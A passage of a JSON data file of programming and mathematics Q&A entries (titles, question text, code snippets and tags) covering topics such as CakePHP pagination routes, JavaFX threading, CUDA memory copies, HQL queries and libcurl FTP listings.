$row['Specialty'].'</td>';\n echo '</tr>';\n echo '<br/>';\n echo '<br/>';\n
echo '<br/>';\necho '</table>';\n }\n?>\n", "php mysql row results"], "2727733":
["Rails is not removing some comments from the javascripts", "I'm ussing the assets
pipeline in Rails but the comments in the jquery and jquery-ujs files are not being
removed.\nIt is compressing every other js and css file correctly though.\nAny
ideas?\n", "", "ruby-on-rails-3 asset-pipeline"], "1880641": ["How to preview a
coldfusion page in Eclipse?", "I have cf installed in ~/Sites and my Eclipse
projects are stored into ~/Documents/workspace\nHow do I preview a page that I've
written in Eclipse (I'm using CFEclipse plugin)?\n", "", "eclipse-plugin
coldfusion-9 cfeclipse"], "3297887": ["HQL query equivalence: Why are them
different", "Hi\nI have a working HQL query which I want to optimize. It is as
follows:\n\nBesides performance I thought that both queries are equivalent.\nBut
they are not. The first is delivering a set of 20 objects whereas \nthe second is
delivering only 14 objects.\nWhat am I doing wrong?\nAny hint?\n", "select distinct
A.id from Import as A, Place D \nwhere (A.place=D or A.placeBOK=D) and
D.country=? \n\nI tried to replcae the query from above by the following:\n\nselect
distinct A.id from Import as A\nwhere A.place.country=? or A.placeBOK.country=?\n",
"hibernate hql"], "58952": ["Autocomplete in a Java File Chooser", "I'm looking for
a way to add auto complete functionality in Java a File Chooser Dialog. Seems Java
Swing JFileChooser doesn't support that. The only alternative I found is gtk
FileChooser I would love to whether any other alternatives exist.\n", "", "java
swing gui autocomplete filechooser"], "1803132": ["Install PHP OAuth Extension In
Snow Leopard", "I am trying to install the PHP OAuth extension in Snow Leopard, I'm
using the bundled Apache Web server and PHP 5.3.2 by Apple, which is working just
fine.\nWhen I type in Terminal:\n\noauth-1.0.0.tgz downloads fine, but then I get
this error:\n\nERROR: `phpize' failed\n\nI really have no idea this means or how to
fix it, please help!\n", "\nsudo pecl install oauth\n", "php macosx snow-leopard
oauth"], "2285688": ["Algorithm to layout rectangle windows in 2D display", "I'm
seeking for an algorithm to layout rectangle windows, the requirements are like
below:\n\nAll windows to be layout can be seen\nas small rectangles.\nAll windows
must be layout in a rectangle 2D display, and the display width and height is
given.\nThere are several dozen windows to be layout. Each window has an initial
position (x,y) and size (width, height)\nThe layout algorithm will try to separate
the windows to avoid overlapping in windows, so that it is easier for the user to
see all the windows\nA global constraint (max_x_offset, max_y_offset) is given so
that the relocated new position of each window (new_x, new_y) satisfied the
constraint:\n\nThe global constraint is a hard\nconstraint, which means if there
is\nno such layout can satisfy both 4\nand 5, we must satisfy the global\
nconstraint and let some window\noverlap.\nThe algorithm may not get the best\
npossible results, but it should run\nfast. We're going to use this\nalgorithm in a
real-time rendering\napplication\n\nI searched google and wikipedia and some
research papers, but still failed to find a suitable algorithm for this task. Any
suggestions? Thanks!\nUpdate: Yes I understand this is a 2-D knapsack problem and
it is NP-hard. What I want is a fast algorithm to get a good-enough result. \n",
"abs(new_x - x) <= max_x_offset and abs(new_y - y) <= max_y_offset\n", "algorithm
gui rendering real-time"], "5785062": ["How to make an existing WordPress theme
responsive?", "I am having a website and i have applied a WordPress theme to it.
But it is not responsive and doesn't view properly on mobile and other handle held
devices. So is there any way to make an existing applied theme responsive ? Thanks
in advance. \n", "", "wordpress wordpress-theming"], "338384": ["Is there any way
to know if the value of an argument is the default vs. user-specified?", "I'm
looking for something that works like Lisp's arg-supplied-p variables, to help
differentiate a default value from the same value specified by a user.\nExample:\n\
nI'd like to know in foo if it was called like this:\n\nor like this:\n\nor even
like this:\n\nThe last 2 are synonymous enough to me; I don't need to know that
detail. I've looked through the inspect module a bit, but getargspec returns
exactly the same results for all 3 calls.\n", "def foo(a=10):\n pass\n", "python
arguments"], "3262432": ["Beamer error message: Undefined control sequence \\
Geom@lmargin", "I am running the following minimal example with beamer (windows 7,
Miktex 2.9, all packages updated)\n\nI get the following error message repeatedly:\
n\nI am wondering what might be wrong.\n", "\\documentclass{beamer}\n\\
mode<presentation> {\\usetheme{Darmstadt}}\n\\title{Fundamentals of Beamer}\n\\
author{Author}\n\\institute{Department of Math, Main University}\n\\date{\\today}\
n\n\\begin{document}\n\n\\begin{frame}[t]\n \\titlepage\n\\end{frame}\n\n\\
begin{frame}[t]{Outline}\n \\tableofcontents\n\\end{frame}\n\n\\section{Basics of
Beamer}\n\n\\subsection{The Basics}\n\n\\begin{frame}[t]{The main Ideas of Beamer}\
n Blah Blah....\n \\begin{theorem}[\\textbf{fancy}]\n This Theorem is very
fancy.\n \\end{theorem}\nBlah Blah....\n\\end{frame}\n\n\\end{document}\n",
"beamer errors"], "4389914": ["Improving Drupal development with Extreme
Programming practices", "Has anyone applied XP principles in Drupal development?\
nE.g. I wonder about such things as unit testing and whether it may be used \nin
Drupal development, or about continous integration. I am not sure about unit
testing,\nbecause Drupal environment is a very specific thing and not enough object
oriented to\nhave mock objects. As I see it, peer-reviews can be realized in Drupal
development, but more at the level where you discuss with another person which of
the combinations of code and modules can be used to solve some task - this is where
you usually make decisions in Drupal.\nAlso, there could be some development
practices that help teams\nbuild Drupal site collaboratively with better
effectiveness and I wonder if there are any.\nIf anyone has developed big Drupal
sites in team, I appreciate your feedback on this progress, e.g. what you did to
make development and management better.\n", "", "drupal extreme-programming"],
"5388802": ["Is the kernel of a linear form $f : A^n \\to A$ a projective module?",
"Let $R$ be a ring (not necessarily commutative, but if you have interesting things
to say in the commutative case, please say them!) and $M$, $M''$ two finitely
generated projective $R$-modules.\nI was wondering if the kernel of a linear map $M
\\to M''$ is always a projective module.\nUnless I'm mistaken, the question boils
down to the a priori weaker one I've chosen as title. I guess the answer is no, but
I'm unable to cook a counterexample (one first needs to take a linear form whose
image isn't a projective submodule of $A$ but it's not enough).\nPlease make any
comment you find relevant, for example is there are classes of rings over which
this property is true (it's obviously so for hereditary rings and PIDs).\n", "",
"ring-theory modules projective-module"], "615830": ["MySQL replication using DRBD,
distributed lock manager?", "I need to implement Linux-HA configuration in two
servers. I've decided to use DRBD for block level replication on both hosts, mainly
for MySQL data replication.\nAs I understand, in DRBD configuration there's always
a primary server, others are slaves (which can have slave of their own).
Replication is only passed to from masters to slaves, not the other way around.\nSo
what happens, if I have MySQL processes performing writes on both servers at the
same time, one of which is master, the other is slave?\nThe slave can perform
writes, but no data is written?\nProvided that this configuration will go in
conjunction with Heartbeat, it would be Heartbeats' job to ensure that MySQL runs
only on the master, but lets assume for the moment, that Heartbeat failed for some
reason.\n", "", "linux mysql drbd heartbeat"], "58953": ["IllegalStateException
while creating a stage in another thread", "I have a problem with opening one more
stage in another thread. No exceptions appears if I'm opening this stage in the
same thread.\n\nMethod newNetCreation is the one that cause the problem. All
actions in my program are store in a HashMap. Method buttonBuilder creates the new
thread and should launch methods according to variable value and in my case he must
call newNetCreation method, but when he tries, the following exception occurs:\n\
n", "void hashMapDeclaration(){\n actions2methods.put(\"NEW\", new Runnable()
{@Override public void run() { newNetCreation(); }});\n
actions2methods.put(\"LOAD\", new Runnable() {@Override public void run()
{ loadNetState(); }});\n ...... //other hashes\n}\n\nHBox buttonBuilder(double
spacing,double layoutX,String... bNames){\n HBox lBar = new HBox(10);\
n .... //some code\n for(final String text : bNames){ //in my case text
variable value is \"NEW\" so it should run method newNetCreation\n Button
newButton = new Button();\n newButton.setText(text);\n
.... //code\n newButton.setOnAction(new EventHandler<ActionEvent>()
{\n @Override\n public void handle(ActionEvent paramT) {\n
Thread t;\n EventQueue.isDispatchThread();\n t = new
Thread(actions2methods.get(text));\n t.start(); // Start the
thread \n System.out.println(\"button pressed\");\n }\n
});\n lBar.getChildren().add(newButton);\n }\n return lBar;\n}\n\nvoid
newNetCreation(){\n final Stage dialogStage = new Stage();\n final TextField
textField;\n dialogStage.initOwner(stage);\n
dialogStage.initModality(Modality.WINDOW_MODAL); \n
dialogStage.setFullScreen(false);\n dialogStage.setResizable(false);\n
dialogStage.setScene(SceneBuilder\n .create()\
n .fill(Color.web(\"#dddddd\"))\n .root(textField = TextFieldBuilder\
n .create()\
n .promptText(\"Enter user name\")\n
.prefColumnCount(16)\n .build()\n )\
n .build()\n );\n textField.textProperty().addListener(new
ChangeListener() {\n public void changed(ObservableValue ov, Object
oldValue, Object newValue) {\n System.out.println(\"TextField text
is: \" + textField.getText());\n }\n });\n dialogStage.show();\n
System.out.println(\"new net\");\n}\n", "java gui javafx-2"], "468744":
["StructureMap configuration for Constructor Enum Parameter", "Could anyone suggest
the xml configuration for the below StuctureMap DI code. is enumerator.\n\n",
"BrowserType", "c# dependency-injection structuremap"], "2790475": ["Piping the
output of a program to Preview.app", "I'm using an application (the program of the
library) that generates a wide variety of file formats including PostScript and
PDF. It can send the result to or to a file. I'm currently sending it to a file
and opening it with Preview. \nIs there any way to pipe the output and have it be
read by Preview, so that I'd don't have to generate a file and have it lying
around? This is going to be used by a number of people who won't know the internal
structure of the generating script and I don't want to clutter their folders or
complicate their lives.\nMore generally, is there any way to take a program that
sends its output to and pass that output to an program that usually takes it's
input from a file, without actually creating a file?\n", "dot", "osx unix
graphviz"], "381461": ["How to print out dash or dot using fprintf/printf?", "As of
now I'm using below line to print with out dot's\n\nI'm expecting the output would
be something like following,\n\nNumber of cards..................................
[500]\nFixed prize amount [in whole dollars]............[10]\nIs this a high winner
prize?.....................[yes]\n\nHow to print out dash or dot using
fprintf/printf?\n", "fprintf( stdout, \"%-40s[%d]\", tag, data);\n", "c++ c text
printf"], "2735758": ["How do I perform an assignment operation in a lambda
expression", "I have a list of items and wish to set one of their properties to a
certain value:\n\n...but we think this just does a boolean comparison. Is there a
way to force VB to assign the integer value rather than compare it?\n",
"applist.ForEach(Function(x) x.PrePaidTypeID = CInt(DBEnums.PrePaidType.NoPrepay))\
n", "vb.net lambda"], "4206745": ["CakePHP 2.2.4: Pagination Links", "My site has
many \"pages\". Pages are created for different topics and moderated by users (for
example a page for Pirates of the Caribbean or a page for Justin Bieber). The page
belongs to a category, for example, Movies or Music. The default URL to a page is
http://www.example.com/category-directory/page-id. Optionally, if the moderator
wants to establish their own link for a page as an easier means of navigation, they
can do so by giving value to the \"Page.link\" column (for example:
http://www.example.com/potc for the movie Pirates of the Caribbean).\nI have my
routes all set up which took some time in itself. The route checks to see if the
first parameter of the URL after \".com\" matches the \"link\" column of any page,
if it does, route to that page and the controllers/actions under it. If not, route
as usual.\nWhen a user is viewing either http://www.example.com/potc/articles/99 or
http://www.example.com/movies/106/articles/99 (given that Pirates of the Caribbean
is page with id = 106) then the user is directed to the articles controller, view
action, id = 99. 106 is passed as $page_id to the controller's action and also set
in the AppController.\nThe URL array I'm providing in the controller works fine for
example if the id does not exist I redirect to . I am redirected back to
http://www.example.com/potc/articles. I don't actually have to define the
controller since by default it uses the current controller.\nHowever, I'm having an
issue with the pagination links. Say for example I'm on the articles index page and
there are 100 articles but I'm only viewing the first 20. I would like the URL to
be outputted as http://www.example.com/potc/articles/page:2. \nInstead, if I set
the URL array as similar to what I did in the controller I get the link
http://www.example.com/articles/page_id:106/page:2 I can understand why this route
does not work because I probably have to pass along the value Page.link if it
exists and if not pass along Category.directory and Page.id. I've tried doing the
latter option using the URL array . I have a route to match this but the pagination
links are still generated as
http://www.example.com/articles/category:movies/page_id:106/page:2\nHere are some
snippets from my routes.php: https://gist.github.com/9ba0a54a7f4d68803d14\nMy
question is: \"Can I use the exact current URL for pagination links (minus
reference to current page I am on)?\" For example, if I'm viewing
http://www.example.com/dynamic-route/controller/id/page:2, the pagination link will
automatically go to http://www.example.com/dynamic-route/controller/id/page:3\nI
put all of my pagination code into an element and I would like to include the
element in my view file wherever the pagination is needed.\nRight now, if I'm
viewing the articles controller, index action, the default URL for the pagination
links is http://www.example.com/articles/page:2, but I need it to be
http://www.example.com/dynamic-route/articles/page:2\nI tried using the \n\nBut the
link is output like http://www.example.com/articles/http://www.example.com/dynamic-
route/articles/page:2\nEdit: Jeztah, you mention putting \n\n'customlink' => '[a-
z0-9]{1}([a-z0-9-]{2,}[a-z0-9]{1})?'\n\nin my route. Well I can't simply do this
because the route does a query to check to see if the customlink is in the database
and if so routes accordingly.\nAn example of my router file is:\nafter getting
first param of url which would be http://www.domain.com/CUSTOM-LINK, do the
following:\n\nIf I go to http://www.domain.com/custom-link/articles,
http://www.domain.com/custom-link/articles/1,
http://www.domain.com/custom-link/articles/edit/1, etc the proper page is display.
If I try to navigate to a page where the custom-link does not exist, continue down
my router file and if no other route is matched then throw error message. All good
there.\nIn my ArticlesController.php the redirect method works as expected. Say for
example, I try to go to http://www.domain.com/custom-link/articles/99 but id 99
does not exist, I am properly redirected back to http://www.domain.com/custom-
link/articles using \n\n$this->redirect(array('action' => 'index', 'page_id' =>
$page_id),\n null, true);\n\nHowever, on the pagination, I set the url options
as \n\narray('controller' => 'articles', 'action' => 'index', 'page_id' =>\n
$page_id);\n\nwhere $page_id is set in the AppController from being passed by the
Router. Though I don't need to set controller and action because the current will
be used. Again, my pagination links appear as
http://www.domain.com/articles/page_id:3/page:2 and not what I want which is
http://www.domain.com/custom-link/articles/page:2\nEdit: Jeztah\nI just changed my
entire route file to what you had with having a custom-link parameter (I renamed to
'link') and then created a component for use in the app controller to get the page
id from the link.\nExample route\n\nHowever, paginating with the url array as the
url is outputted as . My code is exactly as yours minus renaming \"custom-link\" to
\"link\". Also, now my route can't differentiate between whether I'm trying to
access http://www.domain.com/custom-link which would be 'controller' => 'pages',
'action' => 'view' (his page would basically use the News model and display the
latest news for the page) and if I'm trying to access
http://www.domain.com/articles which would be 'controller' => 'articles', 'action'
=> 'index' which would display the latest articles for ALL pages. Note, articles
and news are separate models.\n\nis the same as \n\nbecause the check to see
whether or not 'link' belongs to a specific page is no longer done in the route.\
nEdit: Ok I'm making progress. I found out that next and previous pagination links
don't take to the paginator->options very well. I deleted the paginator->options
and left the url array of the next button empty. The link was outputted as
http://www.domain.com/articles/custom-link/articles/page:2. Progess! But is there
any way to get ride of the first \"articles/\"?\nMy route is\n\n", "'controller' =>
'articles', 'action' => 'index', 'page_id' = $page_id", "php cakephp pagination
routes paginator"], "1470663": ["Kohana 3 - How to use memcached for cache query
results?", "I'm working in a large project using Kohana 3 framework, actually I
need to improve it adding a cache system to reduce the number of MySQL
connections.\nI'm thinking in develop a basic (but
general) module to generate a full query results caching but separately manage the
table query results into different groups.\nPex:\ncache groups: users, roles,
roles_users, etc.\nEach group contains all the query results from the correspondant
table. So, if I want to get values from 'users', the cache system would
automatically add the result to the cache system, but if I update the 'users' table
all the keys in 'users' group would be deleted. I know, it's not so smart but it's
fast and safe (the system also generate user lists, and the results may be
correct).\nThen, my question is: \u00bfWhere an how can I make the \"injection\" of
my code in the application tree?\nI need, firstly (to generate a hash key) the full
query (for a certain table -used as group-), and the result of that query to store.
And, when another hash (in the that group) is the same as stored one, the value
must be getted from memcached.\nSo, I need: the table name, the query and the
result... I think it's possible extending the Database class, implementing the
cache in the execute() method, but I can't find it!\nI'm in the correct way? Where
the execute() method is?\n", "", "query module memcached results kohana-3.0"],
"4877122": ["Is there a way to get the width of a Selection/Range?", "You can get
the current with and its with . There's a bunch of information in there:
starting node, ending node, characters, position etc.\nWhat's not in there are the
dimensions of the selection.\nWhat I could do (I think, I haven't tried, because
it's complex), is get the selected text, put it into the containing element, make
the element inline and measure its width (and then undo all that to not mess up the
DOM). Maybe.\nBut there must be an easier way.\nIt doesn't have to work with a
selection over several elements, but it should work over several lines.\nMaybe
there's a trick to make a screenshot and measure pixels by color?\n", "Selection",
"javascript html dom selection"], "4419180": ["Permutation Group Notation", "I have
a question about notation:\n\nFor a permutation $\\sigma\\in S_n$, define the
following quantities:\n\n$\\text{ret}(\\sigma)$ as the number of indexes $1\\leq
i\\leq n$ such that $\\sigma(i)\\lt i$\n$\\text{fix}(\\sigma)$ as the number of
indexes $1\\leq i\\leq n$ such that $\\sigma(i)=i$ \n$\\text{exc}(\\sigma)$ as the
number of indexes $1\\leq i\\leq n$ such that $\\sigma(i)\\gt i$\n\n\nWhat does
this mean?\n", "", "abstract-algebra notation"], "1741156": ["Chinese chars not
displayed properly when Puppet starts Tomcat, works when manually started", "So
here's a fun one...\nWe have a file upload through Fatwire that stores files on a
Unix file system. Fatwire uses Tomcat under the covers.\nA Puppet agent handles
our jar deployment and restart.\nWhen uploading an image file that has Chinese
chars in its filename, the file stored on the file system is displaying the dreaded
??? instead of the proper characters.\nWhen we use the same jar file that Puppet
deployed but simply restart manually, it works perfectly.\nI already have -
Dfile.encoding=UTF-8 set in the JAVA_OPTS and CATALINA_OPTS settings.\nHelp?\n",
"", "java tomcat character-encoding puppet file-encodings"], "5123048": ["Report
download not prompting user to save", "I'm trying to generate a simple PDF report
using JasperReport on a button click. Here's the relevant code:\nreport.xhtml:\n\
nGenerateReportBean.java:\n\nThe problem is that when I use FireBug I can see a
response (for me it's ok):\n\nBut I don't get the popup that would allow me to save
the pdf. As you can see I'm developing on Jetty 7.4 maven plugin. Am I doing
something wrong here?\n", "<p:commandButton value=\"#{msg['report.generate']}\"
action=\"#{generateReportBean.generateReport}\" />", "jsf jsf-2.0 jasper-reports"],
"5147533": ["Generate functions using Macros in C", "I have the following macro:\n\
nI understand that it generates functions, but if expands outside , how do I call
the generated function? does not work...\n", "\u200e#define GTR(type) \\\u200e\
ntype type##_gtr(type a, type b) \\\u200e\n\u200e{ \\\u200e\n\u200e return a >
b ? a : b;\\\u200e\n\u200e}\u200e\n", "c function macros define generate"],
"5147537": ["Breadth first search tree's cycles", "\nPossible Duplicate:\nProof
related to breadth first search \n\nI'm trying to prove the following:\n\nSuppose a
connected graph $G$ has a cycle $C$ of length $n$. Prove that in any breadth-first
search tree of $G$, any two vertices in $C$ are at most ${\\lfloor{n/2}\\rfloor}$
levels apart.\n\nNot sure how to approach this, tried googling properties of BFST's
and cycles, but no avail, any help or resources would be helpful! \n", "", "graph-
theory trees"], "4760823": ["Copy array of structures from host to device in CUDA",
"I am trying to copy an array of structures from host to device in CUDA. For
example:\n\nIs that right or not? And how can I use Kernel function?\n", "#define N
1000;\n#define M 100000;\n\ntypedef struct {\n int i;\n float L[N]; \n}t
; \n\n__global__ void kernel() {\n //do something\n}\n\nmain () {\n t *B, *B_d;
// Pointer to host & device arrays of structure\n int size = M * sizeof(t);\n\n
B=(t*)calloc(M,sizeof(t));\n cudaMalloc((void **) &B_d, size); // Allocate
array of structure on device\n // readind B from file ...\n cudaMemcpy(B_d, B,
size, cudaMemcpyHostToDevice);\n kernel<<<1, 1 >>>();\n\n}\n", "cuda"], "3974305":
["Blackground coming when using imagemagick for converting emf to jpeg", "I have a
emf file, which when I am converting using imagemagick to jpeg some part of my
image is coming as black. Can any one help me with this. I am using following
command\n\n", "convert \"C:\\Users\\abhmathu\\Desktop\\file1\\docProps\\
thumbnail.emf\" -background white 1.jpeg\n", "image image-processing imagemagick"],
"1146708": ["VC2008 Read data to stream GDI+", "Code to save jpeg in disk:\n\nThat
code work good. \nBut something is wrong when I try read data to stream:\n\nAfter
that it seems that stream (and pImage) is empty. I am not sure what I am doing
wrong?\n", "fwrite( dataPosition, 1, BufferSize, hFileImage );\n", "c++ image
visual-studio-2008 stream gdi+"], "5623021": ["Moving from Gnome to XFCE", "I'm
using Gnome now and want to install XFCE. Nothing complicated but just curious - do
all applications, installed previously on Gnome will be also removed or they would
work on XFCE properly after installing XFCE and removing Gnome ?\nOS: Linux Mint 7\
n", "", "linux gnome xfce"], "2131726": ["How to reach a virtualized application
server running on Mac OS X from an outside computer or tablet", "After Googling for
hours on end looking for a solution I decided to leave a message on this forum. I
hope you guys can give me a push in the right direction to solve this issue.\nI am
using a Macbook running OS X 10.6.8 (Snow Leopard). This machine is connected with
a wifi router and has a local IP address: 192.168.104.172.\nOn this Macbook I am
running Windows 7 using Parallels Desktop. (Don't make fun of me now, please. I
have no choice. :) ) On this (virtual) Windows 7 instance I am running an
application server that I use to test web applications that I develop with a
special Windows tool called Mendix.\nBecause our company uses primarily Macs as
client machines, I test the web application in various browsers on OS X: Safari,
Firefox and Chrome. I connect to the application server that runs on Windows 7
through the IP address of the Windows 7 virtual server. To put it simply: I point
my browser to the IP address (10.211.55.4) and port number (8080) of the Windows 7
instance and I can start testing my web application.\nFor a new release of the web
application we want to start using tablets, probably iPads. To test the web
application, I am using an iPad that is connected to the same wifi router as my
Macbook. I want to connect to the application server of the virtual Windows 7
instance. However, I can't use IP address 10.211.55.4 for testing because this is
only available on the Macbook as it's a local address to that Mac. So I need to
find a way to have OS X forward the HTTP request to the Windows 7 server and send
the response back to the iPad.\nI have been looking at port forwarding and checked
out natd and ipfw but I can't get the configuration right. Maybe this isn't even
the way the go I have started to ask myself. Can this issue be solved with the
standard networking tools that come with OS X or do I need additional server tools
to make this happen? I hope that anyone on this forum can put me back on track and
help me solve the issue.\n", "", "virtualization macosx http forwarding
application-server"], "5637874": ["find an item in a list of pointers", "I am
trying to understand how to find an item in a list of pointers in C++, using
std::find\nIf I had for example:\n\nI could just search like this:\n\nbut what if I
have a lsit of pointers?\n\nthe above syntax will not work anymore. Can I do it
some similar way?\nthanks!\n", "std::list<string> words;\nstd::string
word_to_be_found;\n", "c++ list find std"], "2794643": ["Generating AutoCAD files
with java?", "Does anyone have any tips how I can generate AutoCAD drawings with
Java? Is dfx a good interface or should we go for dwg files? \nI can't find any
useful information on this on the net. The Open Design Alliance have libraries for
generating dwg, but I can't look at the API without becoming a member. And they
don't seem to have a java interface either.\n", "", "java autocad"], "1970478":
["How to use OpenNTF's \"Workflow for XPages\"?", "Any tips on getting started
using the \"Workflow for XPages\" on OpentNTF? The documentation is pretty high-
level, and mostly about the sample app. Page 24 is the only one with info about
using the simple workflow engine. I'm digging into the EmployeeReview.nsf example
database, but could use some pointers?\n",
"", "workflow xpages"], "3974304": ["Sometimes persistent footer also moves during
page transition in jquerymobile", "This is the html code I have\n\nThe problem I am
facing is that sometimes when i change selection of navbar,the footer also slides
to the left or right along with the page.You can reproduce the issue by constantly
changing the selection of button in the navbar.\nYou can see it here -
http://jsfiddle.net/tKMgd/5/\n", "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n
<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0\" />\n
<link rel=\"stylesheet\" href=\"http://code.jquery.com/mobile/1.0b1/jquery.mobile-
1.0b1.min.css\" />\n <script src=\"http://code.jquery.com/jquery-
1.6.1.min.js\"></script>\n <script
src=\"http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.min.js\"></script>\n
<script>\n $('#home, #page2, #page3').live('pagebeforeshow',function(event)
{\n $('#' + $(this).attr('id') + '_link').addClass('ui-btn-active');\n
});\n </script>\n </head>\n <body>\n <div data-role=\"page\"
id=\"home\">\n <div data-role=\"header\" data-theme=\"b\">\n
<h1>Test</h1>\n </div>\n <div data-role=\"content\" data-
theme=\"b\">\n Home Page\n </div>\n <div data-
role=\"footer\" data-position=\"fixed\" data-id=\"pFooter\">\n <div
data-role=\"navbar\">\n <ul>\n <li><a
href=\"#home\" data-icon=\"custom\" class=\"ui-btn-active\"
id=\"home_link\">Home</a></li>\n <li><a href=\"#page2\"
data-icon=\"grid\">Second page</a></li>\n <li><a
href=\"#page3\" data-icon=\"star\">Third page</a></li>\n </ul>\n
</div>\n </div> \n </div>\n <div data-role=\"page\"
id=\"page2\">\n <div data-role=\"header\" data-theme=\"b\">\n
<h1>Test</h1>\n </div>\n <div data-role=\"content\" data-
theme=\"b\">\n Second page\n </div>\n <div
data-role=\"footer\" data-position=\"fixed\" data-id=\"pFooter\">\n
<div data-role=\"navbar\">\n <ul>\n
<li><a href=\"#home\" data-icon=\"custom\">Home</a></li>\n
<li><a href=\"#page2\" data-icon=\"grid\" class=\"ui-btn-active\"
id=\"page2_link\">Second page</a></li>\n <li><a
href=\"#page3\" data-icon=\"star\">Third page</a></li>\n </ul>\n
</div>\n </div> \n </div>\n <div data-role=\"page\"
id=\"page3\">\n <div data-role=\"header\" data-theme=\"b\">\n
<h1>Test</h1>\n </div>\n <div data-role=\"content\" data-
theme=\"b\">\n Third page\n </div>\n <div
data-role=\"footer\" data-position=\"fixed\" data-id=\"pFooter\">\n
<div data-role=\"navbar\">\n <ul>\n
<li><a href=\"#home\" data-icon=\"custom\">Home</a></li>\n
<li><a href=\"#page2\" data-icon=\"grid\">Second page</a></li>\n
<li><a href=\"#page3\" data-icon=\"star\" class=\"ui-btn-active\"
id=\"page3_link\">Third page</a></li>\n </ul>\n
</div>\n </div> \n </div>\n </body>\n</html>\n", "jquery
html5 css3 jquery-mobile"], "5066641": ["which files were automatically merged in
mercurial?", "When mercurial reports that it has merged files, how do I get the
list of those automatically merged files? Is there a way to see this?\n", "",
"mercurial"], "425051": ["How to insert a movie on button click - AS3", "I'v been
working on a strobe website for a while now http://strobepage.com/\nI want to allow
users to select their own colours for the strobe, This Basically means I will
easily be able to cover way more colour combinations and take up less room on the
site..\nSo far I have tried making 2 movie clips, one for each colour.. and
refering to it as an instance and as a movie clip as a whole ( MovieClip(colour1)
) to change its colour.. this works, but only in that specific instance, when the
user clicks \"next\" to progress to the next frame of the ROOT movie (which
displays the interchanging movie clips) the movie clips have reverted back to their
original state.. \nIs there possibly a way to PERMANENTLY colour a movie clip on
button press... I seem to think there isnt.. This is where i thought, hey, why
not make a bunch of movie clips that contain different colours, and on button
press, one of these movie clips, is inserted into another movie clip that will have
2 frames that interchange between the movie clips that the user has selected...
Only, I have no idea how to do this, and whether its possible or not.. \nI hope i
have explained this in an understandable way.. theres lots of movieclips lol..\
nanyway, thanks in advance for anyone who can come up with a solution :D\nPlease
give an AS3 example of what you are explaining :D\n", "", "actionscript-3 flash
actionscript action"], "1825544": ["Caching in urllib2?", "Is there an easy way to
cache things when using urllib2 that I am over-looking, or do I have to roll my
own?\n", "", "python caching urllib2"], "2729099": ["Detect whether browser has
keyboard/arrow keys in web page", "I have a full-screen game in HTML+JavaScript,
which uses the arrow keys as primary controls. This cannot be used on keyboardless
Android devices (I haven't tested on iOS), and even if the soft keyboard had arrow
keys it would take up unnecessary space. Therefore, I have added onscreen control
buttons. However, the buttons are unnecessary (and absurdly large) on desktop
browsers, so I would like them to not pop up unless they are needed.\nWhat
heuristics can I use to decide whether they are needed \u2014 that is, whether it
is impossible or awkward for the user to input arrow-key events \u2014 other than
recognizing specific User-Agents (which is straightforward, but not future-proof)?\
nI will of course allow the user to hide/show the buttons; I am looking for useful
heuristics for choosing the default setting.\n", "", "javascript android ios touch
mobile-web"], "2412582": ["Fermat's Last Theorem for Gaussian Integers (excluding
the integers or same pure imaginaries)", "I am investigating solutions to Fermat's
equation\n$$x^n + y^n = z^n$$\nwith $x,y,z$ in the Gaussian integers, excluding
integers and pure imaginaries.\nI have found out that there are only trivial
solutions for the $n=3$ and $n=4$ cases, e.g. here. \nI would be grateful if you
let me know of the current status or if it is already a theorem. \n", "", "number-
theory"], "35232": ["Parsing FTP LIST reply in C++", "I have been unsuccessful in
parsing the following reply from libCurl FTP listing.\n\nThe write_flist is\n\
nGiving me an output shown below\n\nI have to\n1. Find if its a directory or file\
n2. Store the file along with its size (I am guessing in an array) to do some
calculations with the size.\n3. Store the directory names separately\nAny help
would be appreciated, a novice here. Thank you\nAfter a lot of searching, I think I
found something in perl but I wanted it in C++\n\nI also found this ftpparse\nTo
read each line separately (although is of not complete use) I used the following:\
n\n", "ftplister = fopen(\"ftp-full-list\", \"wb\"); /* b is binary, needed on
win32 */ \n\n curl = curl_easy_init();\n if(curl) {\n /* Get a file listing
from sunet */ \n curl_easy_setopt(curl, CURLOPT_URL, furl.c_str() );\n
curl_easy_setopt(curl, CURLOPT_USERPWD, usrpwd.c_str());\n\n
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, &write_flist);\n
curl_easy_setopt(curl, CURLOPT_WRITEDATA, ftplister);\n\n res =
curl_easy_perform(curl);\n /* Check for errors */ \n if(res != CURLE_OK)\n
fprintf(stderr, \"curl_easy_perform() failed: %s\\n\",\n
curl_easy_strerror(res));\n\n /* always cleanup */ \n
curl_easy_cleanup(curl);\n }\n\n fclose(ftplister); /* close the local file
*/ \n}\n", "c++ parsing ftp libcurl ls"], "403437": ["Spring Integration, JMS
Inbound channel adaptor and transactions", "I am using SI configured with a
jms:message-driven-channel-adapter. My use case is to receive a message from the
queue, save it via JDBC to a database, commit the message from the queue, and then
let this message continue to flow through the various channels depending on its
type. If the message subsequently errors this is ok as I have the original stored
in the database so it can be replayed.\nMy issue is with trying to commit the
transaction from the queue immediately after the database persist. This is
effectively mid flow and I have only been able to get the spring transaction
management to try and commit right at the end. This is not suitable as if an error
is thrown after the database persist it still leaves the message on the JMS queue,
as this is where the outer transaction originated.\nSo, is there an easy way to
pull the message from a JMS queue, save to database, then commit it off the queue
